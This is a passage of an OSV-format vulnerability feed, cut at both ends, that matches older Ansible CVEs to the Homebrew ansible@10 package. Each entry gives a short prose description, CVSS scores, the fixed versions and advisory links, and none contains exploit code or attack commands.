yPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Improper Input Validation in ansible","details":"An input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8647"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5388"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/30fb384e7fb9a94ac3929e4a650877e45d8834c9"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2016-8647"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1396174"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8647"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x4cm-m36h-c6qj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-58.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2016-9587","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-m956-frf4-m2wr","CVE-2016-9587","PYSEC-2018-39"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible is vulnerable to an improper input validation in Ansible's handling of data sent from client systems","details":"Ansible before versions 2.1.4.0, 2.2.1.0 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-9587"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0448"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0515"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9587"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m956-frf4-m2wr"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-39.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201701-77"},{"type":"WEB","url":"https://web.archive.org/web/20170115210655/http://www.securityfocus.com/bid/95352"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/41013"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0195.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0260.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2017-7466","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3m8p-xpm6-8ww3","CVE-2017-7466","PYSEC-2018-40"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before version 2.3 has an input validation vulnerability in the handling of data sent from client systems. An attacker with control over a client system being managed by Ansible, and the ability to send facts back to the Ansible server, could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7466"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/24186"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0d418789a298561fded9bce977d34babc9097079"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7ff9fa52cfcef2065f0db80d85dd94b9b754839c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7466"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-40.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20170701161323/http://www.securityfocus.com/bid/97595"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2017-7481","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-w578-j992-554x","CVE-2017-7481","PYSEC-2018-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly mark lookup-plugin results as unsafe","details":"Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7481"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fd30f5328986f9e1da434474481f32bf918a600c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f0e348f5eeb70c1fb3127d90891da43b5c0a9d29"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ed56f51f185a1ffd7ea57130d260098686fcc7c2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1886911fcf4b691130cfc70dfc5daa5e07c46a3"},{"type":"WEB","url":"https://web.archive.org/web/20170801122609/http://www.securityfocus.com/bid/98492"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-41.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7481"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2524"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2017-7550","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-588w-w6mv-3cw5","CVE-2017-7550","PYSEC-2017-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"}]},"summary":"Ansible Insertion of Sensitive Information into Log File vulnerability","details":"A flaw was found in the way Ansible (2.3.x before 2.3.3, and 2.4.x before 2.4.1) passed certain parameters to the jenkins_plugin module. Remote attackers could use this flaw to expose sensitive information from a remote host's logs. This flaw was fixed by not allowing passwords to be specified in the \"params\" argument, and noting this in the module documentation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7550"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/30874"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/facbf7f14da29eea67ef68ab386fc15bd06d7c7f"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2966"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2017-7550"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1473645"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-4.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2018-10855","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jwcc-j78w-j73w","CVE-2018-10855","PYSEC-2018-42"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible exposes sensitive data in log files and on the terminal","details":"Ansible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10855"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1948"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1949"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2022"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2079"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10855"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jwcc-j78w-j73w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-42.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2018-10874","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-3xvg-x47j-x75w","CVE-2018-10874","PYSEC-2018-81"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Improper Input Validation vulnerability","details":"In ansible it was found that inventory variables are loaded from current working directory when running ad-hoc command which are under attacker's control, allowing to run arbitrary code as a result.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10874"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42067"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/44874addc7ea136f83c67d5869047ece02645fdb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1f80949f964a946773f9d3ac1899535bd2cc2b8e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/10d6fe6c98cfee9a7be0fea6102ba5dec951aec7"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-81.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10874"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1596528"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2018-10874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2018-10875","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-fc4h-467w-46rh","CVE-2018-10875","PYSEC-2018-43"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"A flaw was found in ansible. ansible.cfg is read from the current working directory which can be altered to make it point to a plugin or a module path under the control of an attacker, thus allowing the attacker to execute arbitrary code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10875"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/42388"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/43583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ff980afefdbe4ceb828bdb1bb2eef03cf616bf63"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4cecbe81adbc655d7ab734165d3ac539f8ba5981"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f32c42c37aaf7b9db93ea3151b2f42a0c4bd8172"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-43.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10875"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2018-16837","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-hwrm-63v2-42g4","CVE-2018-16837","PYSEC-2018-44"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Leaks Data Passed to ssh-keygen","details":"Ansible \"User\" module leaks any data which is passed on as a parameter to ssh-keygen. This could lean in undesirable situations such as passphrases credentials passed as a parameter for the ssh-keygen executable. Showing those credentials in clear text form for every user which have access just to the process list.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16837"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47486"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47445"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/47436"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77928e6c3a2ad878b20312ce5d74d9d7741e0df0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b618339c321c387230d3ea523e80ad47af3de5cf"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f50cc0b8cb399bb7b7c1ad23b94c9404f0cc6d23"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227105539/http://www.securityfocus.com/bid/105700"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/11/msg00012.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-44.yaml"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/c963ef1dfbf73efea5106624eb48b346f01eaefd/changelogs/CHANGELOG-v2.7.rst?plain=1#L138"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2018-16837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3463"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3462"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3461"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3460"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2018-16876","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-j569-fghw-f9rx","CVE-2018-16876","PYSEC-2019-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"10.7.0","key":"upstream:pkg:pypi/ansible@10.7.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible sensitive information disclosure","details":"ansible before versions 2.5.14, 2.6.11, 2.7.5 is vulnerable to a information disclosure flaw in `vvv+` mode with no_log on that can lead to leakage of sensible data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-16876"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/51318"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/49569"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0a81d133ffc8f7067182c53cf6a28c724dd1099"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0954942dfdc563f80fd3e388f550aa165ec931da"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/424c68f15ad9f532d73e5afed33ff477f54281a7"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20200227100904/http://www.securityfocus.com/bid/106225"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-141.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16876"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0590"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0564"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3838"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3837"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3836"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3835"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2019-10156","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-grgm-pph5-j5h7","CVE-2019-10156","PYSEC-2019-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.7.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.2"}}],"database_specific":{